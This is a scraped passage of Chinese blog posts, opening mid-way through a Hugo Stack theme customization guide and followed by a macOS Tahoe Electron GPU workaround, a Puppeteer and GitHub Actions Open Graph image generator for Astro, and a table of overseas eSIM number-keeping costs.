 .copyCodeButton {
 background: none;
 border: none;
 color: var(--code-button-color);
 font-size: 12px;
 cursor: pointer; // 可点击
 }
 }

 // 代码区域样式
 pre {
 margin: initial;
 padding: 15px 25px;
 margin: 0;
 width: auto;
 border-radius: 0 0 8px 8px; // 只有底部圆角
 }
 }
}

实现 JavaScript 功能

步骤 1：覆盖主题的 JavaScript 文件

在项目根目录创建 assets/ts/main.ts

步骤 2：复制主题原有的 main.ts 内容

首先从 themes/hugo-theme-stack/assets/ts/main.ts 复制所有代码。

步骤 3：在初始化函数中添加代码块增强功能

在 Stack.init() 函数中添加：

/**
 * 为代码块添加复制按钮和语言标签
 */
const highlights = document.querySelectorAll('.article-content div.highlight');
const copyText = '✂ Copy';
const copiedText = '✔ Copied';

highlights.forEach(highlight => {
 const codeBlock = highlight.querySelector('code[data-lang]');
 if (!codeBlock) return;

 // 获取并处理语言标签
 const rawLang = codeBlock.getAttribute('data-lang');
 const lang = (rawLang === "fallback" || !rawLang) ? "TEXT" : rawLang.toUpperCase();

 // 创建语言标签
 const langTag = createButton(lang, 'languageTagButton');

 // 创建复制按钮
 const copyButton = createButton(copyText, 'copyCodeButton');

 // 创建工具栏容器
 const toolbar = document.createElement('div');
 toolbar.classList.add('toolbar');
 toolbar.appendChild(langTag);
 toolbar.appendChild(copyButton);

 // 将工具栏插入到代码块前面
 highlight.insertBefore(toolbar, highlight.firstChild);

 // 绑定复制功能
 copyButton.addEventListener('click', () => {
 navigator.clipboard.writeText(codeBlock.textContent)
 .then(() => {
 copyButton.textContent = copiedText;

 // 1秒后恢复按钮文字
 setTimeout(() => {
 copyButton.textContent = copyText;
 }, 1000);
 })
 .catch(err => {
 alert(err);
 console.error('Copy failed:', err);
 });
 });
});

// 辅助函数：创建按钮
function createButton(text, className) {
 const button = document.createElement('button');
 button.innerHTML = text;
 button.classList.add(className);
 return button;
}

代码解析：

选择所有代码块：querySelectorAll('.article-content div.highlight')
获取语言信息：从 data-lang 属性读取，Hugo 会自动添加
处理特殊情况：如果语言为 fallback 或空，显示为 TEXT
使用 Clipboard API：navigator.clipboard.writeText() 实现复制
用户反馈：复制成功后改变按钮文字 1 秒

兼容性：Clipboard API 需要 HTTPS 或 localhost 环境。

页添加欢迎横幅动画

创建动画效果

步骤 1：在 custom.scss 中定义动画

动画一：握手摇摆动画

.shake {
 display: inline-block;
 animation: shake 1s;
 animation-delay: 2s; // 延迟2秒开始
}

@keyframes shake {
 0% {
 transform: rotate(0);
 }
 25% {
 transform: rotate(45deg) scale(1.2);
 }
 50% {
 transform: rotate(0) scale(1.2);
 }
 75% {
 transform: rotate(45deg) scale(1.2);
 }
 100% {
 transform: rotate(0);
 }
}

动画二：文字跳跃动画

// 基础跳跃动画
@keyframes jump {
 0% {
 transform: translateY(0);
 }
 50% {
 transform: translateY(-20px); // 向上跳20px
 }
 100% {
 transform: translateY(0);
 }
}

// 创建9个不同延迟的类
.jump-text1 {
 display: inline-block;
 animation: jump .5s 1;
 animation-delay: 0s;
}

.jump-text2 {
 display: inline-block;
 animation: jump .5s 1;
 animation-delay: .1s; // 递增延迟
}

// ... 依此类推到 .jump-text9 (延迟0.9s)

动画三：欢迎卡片样式

.welcome {
 color: var(--card-text-color-main);
 background: var(--card-background);
 box-shadow: var(--shadow-l2);
 border-radius: var(--card-border-radius);
 display: inline-block;
}

修改首页模板

步骤 1：覆盖首页模板

在项目根目录创建 layouts/index.html

步骤 2：复制主题原有代码

从 themes/hugo-theme-stack/layouts/index.html 复制所有代码。

步骤 3：在文章列表前添加欢迎横幅

{{ define "main" }}
 {{ $pages := where .Site.RegularPages "Type" "in" .Site.Params.mainSections }}
 {{ $notHidden := where .Site.RegularPages "Params.hidden" "!=" true }}
 {{ $filtered := ($pages | intersect $notHidden) }}
 {{ $pag := .Paginate ($filtered) }}

 <!-- 首页欢迎横幅 -->
 <div class="welcome">
 <p style="font-size: 2rem; text-align: center; font-weight: bold">
 <span class="shake">👋</span>
 <span class="jump-text1">Welcome</span>
 <span class="jump-text2">&nbsp;To&nbsp;</span>
 <span class="jump-text3" style="color:#e99312">K</span>
 <span class="jump-text4" style="color:#e99312">e</span>
 <span class="jump-text5" style="color:#e99312">y</span>
 <span class="jump-text6" style="color:#e99312">e</span>
 <span class="jump-text7" style="color:#e99312">'</span>
 <span class="jump-text8" style="color:#e99312">s&nbsp;</span>
 <span class="jump-text9" style="color:#e99312">Blog</span>
 </p>
 </div>
 <!-- 首页欢迎横幅 -->

 <section class="article-list">
 {{ range $index, $element := $pag.Pages }}
 {{ partial "article-list/default" . }}
 {{ end }}
 </section>

 {{- partial "pagination.html" . -}}
 {{- partial "footer/footer" . -}}
{{ end }}

Waline 评论系统优化

// Waline 主题颜色变量
:root {
 --waline-theme-color: var(--accent-color) !important;
 --waline-active-color: var(--other-color) !important;
 --waline-color: var(--card-text-color-secondary) !important;
}

// 移除评论面板外边距，实现无背景效果
.wl-panel {
 margin: 0px !important;
}

响应式布局优化

调整页面三栏布局宽度

需求：在不同屏幕尺寸下优化左侧边栏、主内容区、右侧边栏的宽度比例。

方法：在 custom.scss 中覆盖布局样式

.container {
 margin-left: auto;
 margin-right: auto;

 .left-sidebar {
 order: -3;
 max-width: var(--left-sidebar-max-width);
 }

 .right-sidebar {
 order: -1;
 max-width: var(--right-sidebar-max-width);

 @include respond(lg) {
 display: flex;
 }
 }

 // 扩展布局（三栏）
 &.extended {
 @include respond(md) {
 max-width: 1024px;
 --left-sidebar-max-width: 25%;
 --right-sidebar-max-width: 22% !important;
 }

 @include respond(lg) {
 max-width: 1280px;
 --left-sidebar-max-width: 20%;
 --right-sidebar-max-width: 30%;
 }

 @include respond(xl) {
 max-width: 1453px; // 自定义最大宽度
 --left-sidebar-max-width: 15%;
 --right-sidebar-max-width: 25%;
 }
 }

 // 紧凑布局（两栏）
 &.compact {
 @include respond(md) {
 --left-sidebar-max-width: 25%;
 max-width: 768px;
 }

 @include respond(lg) {
 max-width: 1024px;
 --left-sidebar-max-width: 20%;
 }

 @include respond(xl) {
 max-width: 1280px;
 }
 }
}

实现归档页面双栏布局

需求：在大屏幕上，归档页面使用网格布局显示为两栏。

方法：

@media (min-width: 1024px) {
 .article-list--compact {
 display: grid;
 grid-template-columns: 1fr 1fr; // 两等宽列
 background: none;
 box-shadow: none;
 gap: 1rem; // 列间距

 article {
 background: var(--card-background);
 border: none;
 box-shadow: var(--shadow-l2);
 margin-bottom: 8px;
 border-radius: 16px;
 }
 }
}

实现链接页面三栏布局

需求：友情链接页面在大屏幕上显示为三栏。

方法：

@media (min-width: 1024px) {
 .article-list--compact.links { // 注意 .links 类名
 display: grid;
 grid-template-columns: 1fr 1fr 1fr; // 三等宽列
 background: none;
 box-shadow: none;
 gap: 1rem;

 article {
 background: var(--card-background);
 border: none;
 box-shadow: var(--shadow-l2);
 margin-bottom: 8px;
 border-radius: var(--card-border-radius);

 &:nth-child(odd) {
 margin-right: 8px;
 }
 }
 }
}

使用方法：

在友情链接页面的 Markdown 前言中添加：

---
title: "友情链接"
links: true # 启用 links 布局
layout: "archives" # 使用归档布局
---

优化移动端间距

方法：

.main-container {
 min-height: 100vh;
 align-items: flex-start;
 padding: 0 15px; // 移动端较小边距
 gap: var(--section-separation);
 padding-top: var(--main-top-padding);

 @include respond(md) {
 padding: 0 37px; // 平板和桌面较大边距
 }
}

维护和更新

更新主题

步骤 1：进入主题子模块目录

cd themes/hugo-theme-stack

步骤 2：拉取最新代码

git pull origin master

步骤 3：返回项目根目录并提交更新

cd ../..
git add themes/hugo-theme-stack
git commit -m "Update hugo-theme-stack theme"

注意事项：

更新前先备份自定义文件
查看主题的 CHANGELOG，了解重大变更
更新后测试网站功能是否正常

常见问题排查

问题 1：自定义样式不生效

# 清除 Hugo 缓存
hugo mod clean

# 重新构建
hugo server --disableFastRender

问题 2：图标不显示

检查：

文件路径是否正确（assets/icons/图标名.svg）
SVG 文件是否有效
配置中的图标名是否与文件名匹配（不含 .svg 后缀）

问题 3：代码块复制功能失效

检查：

是否使用 HTTPS 或 localhost（Clipboard API 要求）
浏览器控制台是否有 JavaScript 错误
main.ts 是否正确编译

问题 4：评论系统不加载

检查：

Waline 服务端是否正常运行
serverURL 配置是否正确
浏览器控制台是否有网络错误
CDN 地址是否可访问

性能优化建议

1. 图片优化

# 使用 WebP 格式
# 使用图片压缩工具（TinyPNG、ImageOptim）
# 合理设置图片尺寸

2. CDN 配置

在 hugo.yaml 中配置 CDN：

params:
 cdn:
 # 使用七牛云、又拍云等 CDN 加速静态资源

3. 启用缓存

caches:
 getjson:
 maxAge: 24h
 getcsv:
 maxAge: 24h
 images:
 maxAge: 720h

版本控制最佳实践

提交信息规范：

# 功能添加
git commit -m "feat: add welcome banner animation"

# 样式修改
git commit -m "style: adjust article image border radius"

# 修复问题
git commit -m "fix: code copy button not working on mobile"

# 文档更新
git commit -m "docs: update theme modification guide"

分支管理：

# 开发新功能使用分支
git checkout -b feature/new-layout

# 测试通过后合并
git checkout main
git merge feature/new-layout

附录：快速参考

常用 CSS 变量

--card-background // 卡片背景色
--card-text-color-main // 主要文字颜色
--card-text-color-secondary // 次要文字颜色
--card-text-color-tertiary // 三级文字颜色
--accent-color // 主题强调色
--accent-color-darker // 深色强调色
--card-border-radius // 卡片圆角
--shadow-l1, --shadow-l2 // 阴影效果
--card-padding // 卡片内边距

响应式混入

@include respond(sm) { /* < 768px */ }
@include respond(md) { /* ≥ 768px */ }
@include respond(lg) { /* ≥ 1024px */ }
@include respond(xl) { /* ≥ 1280px */ }

常用 Hugo 模板函数

{{ .Title }} // 标题
{{ .Content }} // 内容
{{ .Params.custom }} // 自定义参数
{{ with .Site.Params.foo }} // 条件判断
{{ range .Pages }} // 循环页面
{{ partial "name" . }} // 引入局部模板

祝你打造出独特的个人博客！

一行代码解决 macOS Tahoe 26 发热耗电问题

Sun, 12 Oct 2025 00:00:00 +0000

解决办法

在终端中运行以下代码：

launchctl setenv CHROME_HEADLESS 1

提示
需要重启相关 Electron 应用，才能生效。重启 macOS 后需要重新执行以上命令。

问题现象

任何基于 Electron 的应用程序（例如：VSCode、Cursor、Discord、Slack 等）都会导致窗口服务消耗大量 GPU。

问题成因

macOS Darwin 26 (Tahoe) 有一个 WindowServer 错误，会导致带有阴影的窗口消耗 80% 以上的 GPU 资源。

永久解决办法

VSCode

sed -i '' 's/experimentalDarkMode:!0}/experimentalDarkMode:!0,hasShadow:false}/g' /Applications/Visual\ Studio\ Code.app/Contents/Resources/app/out/main.js

Cursor

sed -i '' 's/experimentalDarkMode:!0}/experimentalDarkMode:!0,hasShadow:false}/g' /Applications/Cursor.app/Contents/Resources/app/out/main.js

其他

提示
只测试了 VSCode 及 Cursor

参考资料

Github

如何自动在 Astro 中为博文生成 Open Graph 图片

Mon, 22 Sep 2025 00:00:00 +0000

什么是 Open Graph

Open Graph Protocol（开放图谱协议），简称 OG 协议。它是 Facebook 在 2010 年 F8 开发者大会公布的一种网页元信息（Meta Information）标记协议，属于 Meta Tag （Meta 标签）的范畴，是一种为社交分享而生的 Meta 标签，用于标准化网页中元数据的使用，使得社交媒体得以以丰富的“图形”对象来表示共享的页面内容。它允许在 Facebook 上，其他网站能像 Facebook 内容一样具有丰富的“图形”对象，进而促进 Facebook 和其他网站之间的集成。

最终效果

我的需求

正常情况下博客文章的 md 文件应该是这样的

---
title: "如何自动在 Astro 中为博文生成 Open Graph 图片"
slug: "auto-generate-og"

description: '这是一个对境外 eSIM 卡的汇总及分析。'
publishDate: '2025-07-13'
heroImage: 'https://xxx.xxx.xxx/xxx.webp'
---

但是我懒，想通过 HTML 做一个模板，自己写一个关键词，可以自动生成一张图片，类似下图

这样我写文章时候只需要这样写就行，不用去做图了（虽然做图也就半分钟，23333）

---
title: "如何自动在 Astro 中为博文生成 Open Graph 图片"
slug: "auto-generate-og"

description: '这是一个对境外 eSIM 卡的汇总及分析。'
publishDate: '2025-07-13'
heroImage: 'eSim 汇总'
---

方案选择

方案 A（最终采用的方案）：用 Puppeteer 按照 HTML 模板在构建前批量截图生成 webp 图片

第一步 在 scripts/og-template.html 创建 HTML 模板（把文字处替换为占位符 {{TEXT}}）

第二步 生成脚本

使用 gray-matter 读取每个 .md 的 frontmatter(title、heroImage)
判定：heroImage 非 URL 且非图片后缀时，当作文案；否则跳过
用 Puppeteer 打开模板（通过 file:// 绝对路径加载字体），把 {{TEXT}} 替换为文案，设定 960×480px 大小，截图为 webp 到 public/og/<slug>.webp

第三步 在 package.json 增加构建前钩子

"prebuild": "tsx scripts/generate-og.ts"（或 node --loader tsx)

第四步 页面接入

在 src/pages/post/[...slug].astro 把 slug 一并传给 BlogPost
在 src/layouts/BlogPost.astro 内：若 heroImage 是 URL/图片，传原值；否则传/og/${slug}.webp给 <BaseHead image=...>

优点

完全按照模板提供的 HTML/CSS 呈现，所见即所得（含 @font-face、描边、阴影、渐变）
输出体积小的 webp
不影响 md 文件中现有字段中的“图片 URL”的用法

注意点

建议文件命名按 post.slug，避免中文路径或空格

方案 B：用 Satori + Resvg 无浏览器生成

思路：用 satori 把 JSX 模板转为 SVG，再用 @resvg/resvg-js 渲染为 webp
优点：不依赖 Chromium，构建更“纯”，支持 Cloudflare 直接拉取代码部署
代价：需要把你的 HTML/CSS 改写成 JSX 风格（CSS 支持不如浏览器完整），调样式会略麻烦，阴影部分不能正确显示（可能有其他办法，没研究了）

遇到的问题及解决办法

我的 Blog 目前部署在 EdgeOne 的 Pages 上面，环境不支持 Puppeteer 。

解决办法

在dev分支使用 GitHub Actions 执行 pnpm prebuild 生成 /public/og/*.webp，把生成结果提交到deploy 分支上传，EdgeOne 拉取 deploy 分支部署

开始操作

pnpm 新增包

pnpm add -D puppeteer gray-matter

package.json 新增一行预编译命令

"prebuild": "node scripts/generate-og.mjs",

新建文件 scripts/generate-og.mjs

import fs from 'node:fs';
import fsp from 'node:fs/promises';
import path from 'node:path';
import { fileURLToPath, pathToFileURL } from 'node:url';
import matter from 'gray-matter';
import puppeteer from 'puppeteer';

// Only run in GitHub Actions; skip elsewhere (e.g., Cloudflare Pages, EdgeOne Pages)

if (!process.env.GITHUB_ACTIONS) {
console.log('[generate-og] Non-GitHub CI environment detected, skipping.');
process.exit(0);
}

const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);
const projectRoot = path.resolve(__dirname, '..');
const contentDir = path.join(projectRoot, 'src', 'content', 'blog');
const publicDir = path.join(projectRoot, 'public');
const ogDir = path.join(publicDir, 'og');
const templatePath = path.join(projectRoot, 'scripts', 'og-template.html');
const fontPathCandidates = [
path.join(publicDir, 'fonts', 'DingTalk JinBuTi.ttf'),
path.join(publicDir, 'fronts', 'DingTalk JinBuTi.ttf'), // tolerate directory typo
];

function isUrlOrImagePath(value) {
 if (!value || typeof value !== 'string') return false;
 const lower = value.toLowerCase();
 const isUrl = /^https?:\/\//.test(lower) || lower.startsWith('data:');
 const isImg = /(\.png|\.jpg|\.jpeg|\.webp|\.gif|\.svg)(\?.*)?$/.test(lower);
 return isUrl || isImg;
}


function escapeHtml(str) {
 return String(str)
 .replaceAll('&', '&amp;')
 .replaceAll('<', '&lt;')
 .replaceAll('>', '&gt;')
 .replaceAll('"', '&quot;')
 .replaceAll("'", '&#39;');
}

async function ensureDir(dir) {
 await fsp.mkdir(dir, { recursive: true });
}


async function* walkMarkdownFiles(dir) {
 const entries = await fsp.readdir(dir, { withFileTypes: true });
 for (const entry of entries) {
 const full = path.join(dir, entry.name);
 if (entry.isDirectory()) {
 yield* walkMarkdownFiles(full);
 } else if (entry.isFile() && /\.md$/i.test(entry.name)) {
 yield full;
 }
 }
}

async function generateForPost(mdPath, browser, templateHtml) {
 const rel = path.relative(contentDir, mdPath);
 const slug = rel.replace(/\\/g, '/').replace(/\.md$/i, '');
 const raw = await fsp.readFile(mdPath, 'utf8');
 const { data } = matter(raw);
 const heroImage = data?.heroImage;
 const title = data?.title;
 // 跳过：未填写 heroImage，或 heroImage 已是 URL/图片路径
 if (!heroImage || isUrlOrImagePath(heroImage)) return { skipped: true, slug };
 const text = String(heroImage || title || slug);
 // Find first existing font path from candidates
 const fontPath = fontPathCandidates.find(p => fs.existsSync(p));
 let fontFace = '';
 if (fontPath) {
 try {
 const fontBuf = await fsp.readFile(fontPath);
 const fontDataUrl = `data:font/ttf;base64,${fontBuf.toString('base64')}`;
 fontFace = `@font-face {\n font-family: 'Jinbuti';\n src: url('${fontDataUrl}') format('truetype');\n font-weight: 400;\n font-style: normal;\n font-display: swap;\n}`;
 } catch {}
 }
 const html = templateHtml
 .replace('{{FONT_FACE}}', fontFace)
 .replace('{{TEXT}}', escapeHtml(text));
 const page = await browser.newPage();
 try {
 await page.setViewport({ width: 960, height: 480, deviceScaleFactor: 1 });
 await page.setContent(html, { waitUntil: 'networkidle0' });
 // Ensure web fonts are loaded before taking screenshot (avoid tofu boxes)
 try {
 await page.evaluate(async () => {
 // Wait for all fonts
 await document.fonts.ready;
 // Explicitly load our font at a large size
 await document.fonts.load("400 120px 'Jinbuti'"); 
 });
 } catch {}
 await ensureDir(ogDir);
 const outPath = path.join(ogDir, `${slug}.webp`);
 await page.screenshot({ path: outPath, type: 'webp' });
 return { skipped: false, slug, outPath };
 } finally {
 await page.close();
 }
}
async function main() {
 const templateHtml = await fsp.readFile(templatePath, 'utf8');
 const browser = await puppeteer.launch({
 headless: 'new',
 args: ['--no-sandbox', '--disable-setuid-sandbox'],
 });
 try {
 for await (const file of walkMarkdownFiles(contentDir)) {
 await generateForPost(file, browser, templateHtml);
 }
 } finally {
 await browser.close();
 }
}
 
main().catch((err) => {
 console.error('[generate-og] Failed:', err);
 process.exitCode = 1;
});

新建文件 scripts/og-template.html

<!DOCTYPE html>
<html lang="zh-CN">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>OG Template</title>
 <style>
 {{FONT_FACE}}

 body {
 font-family: 'Jinbuti', system-ui, -apple-system, Segoe UI, Roboto, Noto Sans, Arial, sans-serif;
 display: flex;
 justify-content: center;
 align-items: center;
 min-height: 100vh;
 margin: 0;
 background-color: #f0f0f0;
 }

 .gradient-box {
 width: 960px;
 height: 480px;
 background: linear-gradient(135deg, #667eea, #764ba2);
 border-radius: 12px;
 display: flex;
 justify-content: center;
 align-items: center;
 color: white;
 font-size: clamp(50px, 14vw, 200px);
 line-height: 1;
 font-weight: 900;
 text-align: center;
 box-shadow: 0 10px 20px rgba(0, 0, 0, 0.15);
 -webkit-text-stroke: 1px rgba(0, 0, 0, 0.2);
 paint-order: stroke fill;
 text-shadow: 0 6px 12px rgba(0, 0, 0, 0.35);
 letter-spacing: -0.02em;
 padding: 20px;
 box-sizing: border-box;
 }
 </style>
</head>
<body>
 <div class="gradient-box" id="text">{{TEXT}}</div>
</body>
</html>

修改文件src/layouts/BlogPost.astro

import Container from "../components/Container.astro";
import MarkdownBody from "../components/MarkdownBody.astro";

type Props = CollectionEntry<'blog'>['data'] & { slug: string };

const { title, description, publishDate, updatedDate, heroImage, slug } = Astro.props;

//判断是否需要替换
function isUrlOrImagePath(value: string) {
 if (!value) return false;
 const lower = value.toLowerCase();
 const isUrl = /^https?:\/\//.test(lower) || lower.startsWith('data:');
 const isImg = /(\.png|\.jpg|\.jpeg|\.webp|\.gif|\.svg)(\?.*)?$/.test(lower);
 return isUrl || isImg;
}

// 替换heroimage，如果没有heroimage字段使用默认图片
const ogImage = heroImage
 ? (isUrlOrImagePath(heroImage) ? heroImage : `/og/${slug}.webp`)
 : undefined; // 交给 BaseHead 使用其默认 /og.webp
---

<BaseLayout>
	<BaseHead slot="head" title={title} description={description} image={ogImage} />
	<Header />

新增 Github Action文件 .github/workflows/deploy.yml

name: Generate OG & Push to deploy 

on:
push:
branches: [ myblog ]
paths:
- 'src/content/blog/**/*.md'
- 'scripts/**'
- 'package.json'
- 'pnpm-lock.yaml'
- 'src/**'
- 'public/**'
workflow_dispatch: {}
permissions:
contents: write

jobs:
build:
runs-on: ubuntu-latest
steps:

- name: Checkout repository
uses: actions/checkout@v4
with:
fetch-depth: 0

- name: Setup PNPM
uses: pnpm/action-setup@v4
# Respect version from package.json `packageManager`

- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: 20
cache: 'pnpm'

- name: Install dependencies
run: pnpm install --frozen-lockfile 

- name: Approve puppeteer build
run: pnpm approve-builds puppeteer

- name: Install Chrome for Puppeteer
run: pnpm exec puppeteer browsers install chrome

- name: Generate OG images
run: node scripts/generate-og.mjs

- name: Prepare deploy branch
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
# Switch to deploy branch at current commit tree
git checkout -B deploy
# Stage any generated assets

git add -A
# Commit only if there are staged changes (e.g., new/updated OG files)
if ! git diff --cached --quiet; then
git commit -m "build: deploy with generated OG images"
fi

# Push branch pointer and commit (if any)
git push --force-with-lease origin deploy

最终实现

代码仓库有两个分支：dev、deploy。正常提交代码到 dev 分支，dev 会通过 Github Action 创建含有 Open Graph 图片的最终仓库推送到 deploy 分支。Edge One Pages 会直接拉取 deploy 分支后 Build 。 其实最方便的方式还是直接通过 Github Action 编译出 dist 后推送到 Edge One Pages 。整个部署过程都在 Github Action 。

其实最方便的方式还是直接通过 Github Action 编译出 dist 后推送到 Edge One Pages 。整个部署过程都在 Github Action 。

境外eSIM推荐系列之保号策略

Sun, 13 Jul 2025 00:00:00 +0000

先上结论（结论来自于AI）：

追求极致低成本: esim.gg、lifecell 和 Moldtelecom 是最佳选择，年保号成本几乎可以忽略不计。
综合体验与灵活性: giffgaff 和 esimplus 提供了良好的综合体验和相对灵活的保号方式。
特定区域需求: 如果您需要一个大洋洲的号码，One NZ 是一个不错的免KYC选择。

亚洲 (Asia)

中国香港 (+852)

3HK

官网/信息: https://www.three.com.hk
KYC: 需要
申办方式: 联网删除后扫描原二维码
开卡费用: 28 HKD (约人民币 26 元)
保号费用: 28 HKD/次 (约人民币 26 元)
漫游/功能: 可漫游中国移动/联通/电信

Club Sim

官网/信息: https://www.clubsim.com.hk/zh/
KYC: 需要

中国澳门 (+853)

CTM

官网/信息: https://www.ctm.net/
KYC: 强实名
申办方式: 联网删除后扫描原二维码
开卡费用: 100 MOP (约人民币 90 元)
保号费用: 50 MOP/180天 (约人民币 45 元)
漫游/功能: 可漫游中国移动/电信

日本 (+81)

Rakuten

官网/信息: 暂无
KYC: 企业实名
申办方式: 未提供
开卡费用: 5980 JPY (约人民币 275 元)
保号费用: 5400 JPY/1年 (约人民币 248 元)
漫游/功能: 可漫游中国移动/联通/电信

泰国 (+66)

AIS

官网/信息: ESIM2Fly.com
KYC: 无
申办方式: App发邮件/联系客服
开卡费用: 不固定
保号费用: 10 THB/1个月 (约人民币 2 元)
漫游/功能: 可漫游中国移动, 支持Wi-Fi Calling

dtac

官网/信息: dtac为eSIM提供商
KYC: 未提供

菲律宾 (+63)

Smart

官网/信息: https://smart.com.ph/corporate
KYC: 需要
申办方式: 联网删除后扫描原二维码
开卡费用: 99 PHP (约人民币 12 元)
保号费用: 任意消费/1年
漫游/功能: 可漫游中国移动

Globe

官网/信息: https://www.globe.com.ph/
KYC: 需要
申办方式: 联网删除后扫描原二维码
开卡费用: 99 PHP (约人民币 12 元)
保号费用: 任意消费/1年
漫游/功能: 可漫游中国移动

哈萨克斯坦 (+7)

Tele2

官网/信息: Tele2 App
KYC: 需要
申办方式: App申请
开卡费用: 3590 KZT (约人民币 54 元)
保号费用: 1 KZT/1个月 (约人民币 0.02 元)
漫游/功能: 可漫游中国移动/联通

Beeline

官网/信息: Beeline App
KYC: 需要
申办方式: App申请
开卡费用: 未提供
保号费用: 1 KZT/1个月 (约人民币 0.02 元)
漫游/功能: 可漫游中国移动

马来西亚 (+60)

Hotlink

官网/信息: 暂无
KYC: 需要
申办方式: App申请
开卡费用: 5 RM (约人民币 7.6 元)
保号费用: 30 RM/1年 (约人民币 46 元)
漫游/功能: 可漫游中国移动/联通

Tune Talk

官网/信息: https://www.tunetalk.com/
KYC: 需要
申办方式: App申请
开卡费用: 10 RM (约人民币 15 元)
保号费用: 35 RM/1年 (约人民币 54 元)
漫游/功能: 可漫游中国移动/联通

XOX

官网/信息: https://www.onexox.my/
KYC: 需要
申办方式: App申请
开卡费用: 10 RM (约人民币 15 元)
保号费用: 48 RM/1年 (约人民币 73 元)
漫游/功能: 可漫游中国移动

越南 (+84)

Vietnamobile

官网/信息: Vietnamobile App
KYC: 强实名
申办方式: App申请；联网删除后扫描原二维码
开卡费用: 不固定
保号费用: 不固定
漫游/功能: 可漫游中国移动, 支持Wi-Fi Calling

格鲁吉亚 (+995)

Cellfie

官网/信息: https://cellfie.ge/
KYC: 需要

卡塔尔 (+974)

Ooredoo

官网/信息: https://www.ooredoo.qa
KYC: 需要

斯里兰卡 (+94)

Hutch

官网/信息: https://hutch.lk/
KYC: 需要

Dialog

官网/信息: https://www.dialog.lk/
KYC: 需要

沙特阿拉伯 (+966)

Hot

官网/信息: 暂无
KYC: 无
申办方式: 未提供
开卡费用: 5 EUR (约人民币 39 元)
保号费用: 未提供
漫游/功能: 可漫游中国联通, 支持Wi-Fi Calling

阿曼 (+968)

Vodafone

官网/信息: 暂无
KYC: 需要
申办方式: App申请
开卡费用: 3 OMR (约人民币 57 元)
保号费用: 0.05 OMR/90天 (约人民币 0.94 元)
漫游/功能: 可漫游中国联通

欧洲 (Europe)

英国 (+44)

Vodafone (沃达丰)

官网/信息: 实体SIM卡转eSIM
KYC: 无
申办方式: 实体转eSIM；联网删除后扫描新二维码
开卡费用: 不适用 (实体卡转入)
保号费用: 余额变动/180天
漫游/功能: 可漫游中国移动/联通

giffgaff

官网/信息: 官网申请eSIM或实体SIM卡转eSIM
KYC: 无
申办方式: App申请
开卡费用: 10 GBP (约人民币 92 元)
保号费用: 余额支付/180天
漫游/功能: 可漫游中国移动/联通, 支持Wi-Fi Calling

CMLink

官网/信息: 中国移动CMLink
KYC: 无
申办方式: 联系客服
开卡费用: 6 GBP (约人民币 55 元)
保号费用: 1个套餐+任意消费2笔/180天
漫游/功能: 可漫游中国移动, 支持Wi-Fi Calling

Three

官网/信息: 实体SIM卡转eSIM
KYC: 未提供
申办方式: 实体转eSIM

德国 (+49)

Vodafone (沃达丰)

官网/信息: CallYa Classic套餐
KYC: 强实名
申办方式: 联网删除后扫描原二维码
开卡费用: 0 EUR
保号费用: 0.01 EUR/90天 (约人民币 0.08 元)
漫游/功能: 可漫游中国移动/联通

Telekom

官网/信息: https://www.telekom.de
KYC: 需要
申办方式: 联系客服
开卡费用: 295 MDK (原文货币单位有误)
保号费用: 具体看App/套餐
漫游/功能: 可漫游中国移动

荷兰 (+31)

simyo

官网/信息: https://www.simyo.nl/
KYC: 无
申办方式: App申请
开卡费用: 5 EUR (约人民币 39 元)
保号费用: 余额支付/180天
漫游/功能: 可漫游中国移动

法国 (+33)

Free

官网/信息: https://www.free.fr/
KYC: 需要
申办方式: 未提供
开卡费用: 2 EUR (约人民币 16 元)
保号费用: 2 EUR/1个月 (约人民币 16 元)
漫游/功能: 可漫游中国联通, 支持Wi-Fi Calling

西班牙 (+34)

simyo

官网/信息: 暂无
KYC: 需要
申办方式: App申请
开卡费用: 2.5 EUR (约人民币 20 元)
保号费用: 1 EUR/180天 (约人民币 8 元)
漫游/功能: 可漫游中国移动/联通

意大利 (+39)

Spusu

官网/信息: https://www.spusu.it
KYC: 需要

瑞士 (+41)

Swisscom

官网/信息: 暂无
KYC: 强实名
申办方式: 未提供
开卡费用: 20 CHF (约人民币 162 元)
保号费用: 0.4 CHF/1年 (约人民币 3.2 元)
漫游/功能: 可漫游中国移动

奥地利 (+43)

RedteaGo

官网/信息: RedteaGo app
KYC: 未提供

educom

官网/信息: https://www.educom.at/
KYC: 需要

爱沙尼亚 (+372)

esimplus

官网/信息: https://esimplus.me/
KYC: 无
申办方式: 联网删除后扫描原二维码
开卡费用: 5 EUR (约人民币 39 元)
保号费用: 任意消费
漫游/功能: 可漫游中国移动

esim.gg

官网/信息: https://esim.gg/
KYC: 无
申办方式: 联网删除后扫描原二维码
开卡费用: 3.66 EUR (约人民币 29 元)
保号费用: 任意操作
漫游/功能: 可漫游中国移动

Super-Telia

官网/信息: Super-Telia App
KYC: 需要

芬兰 (+358)

Elisa

官网/信息: 暂无
KYC: 无
申办方式: 不支持
开卡费用: 10 EUR (约人民币 78 元)
保号费用: 1 EUR/1年 (约人民币 8 元)
漫游/功能: 支持Wi-Fi Calling

丹麦 (+45)

Lyca

官网/信息: 暂无
KYC: 无
申办方式: 联系客服
开卡费用: 9 DKK (约人民币 9.5 元)
保号费用: 未提供
漫游/功能: 未提供

立陶宛 (+370)

Pildyk

官网/信息: 暂无
KYC: 需要
申办方式: 未提供
开卡费用: 3.89 EUR (约人民币 30 元)
保号费用: 3 EUR/90天 (约人民币 24 元)
漫游/功能: 可漫游中国移动/联通

爱尔兰 (+353)

Lyca

官网/信息: 暂无
KYC: 无
申办方式: 联系客服
开卡费用: 4.99 GBP (约人民币 46 元)
保号费用: 未提供
漫游/功能: 可漫游中国移动

乌克兰 (+380)

lifecell

官网/信息: https://www.lifecell.ua/
KYC: 无
申办方式: 联系客服
开卡费用: 150 UAH (约人民币 27 元)
保号费用: 15 UAH/1年 (约人民币 2.7 元)
漫游/功能: 可漫游中国移动

摩尔多瓦 (+373)

Moldtelecom

官网/信息: https://moldtelecom.md
KYC: 无
申办方式: App申请 (25 MDL/次, 约人民币 10 元)
开卡费用: 40 MDL (约人民币 16 元)
保号费用: 1 MDL/180天 (约人民币 0.4 元)
漫游/功能: 可漫游中国移动

北美洲 (North America)

美国 (+1)

Ultra Mobile Paygo

官网/信息: 需先购买实体SIM卡再转换为eSIM
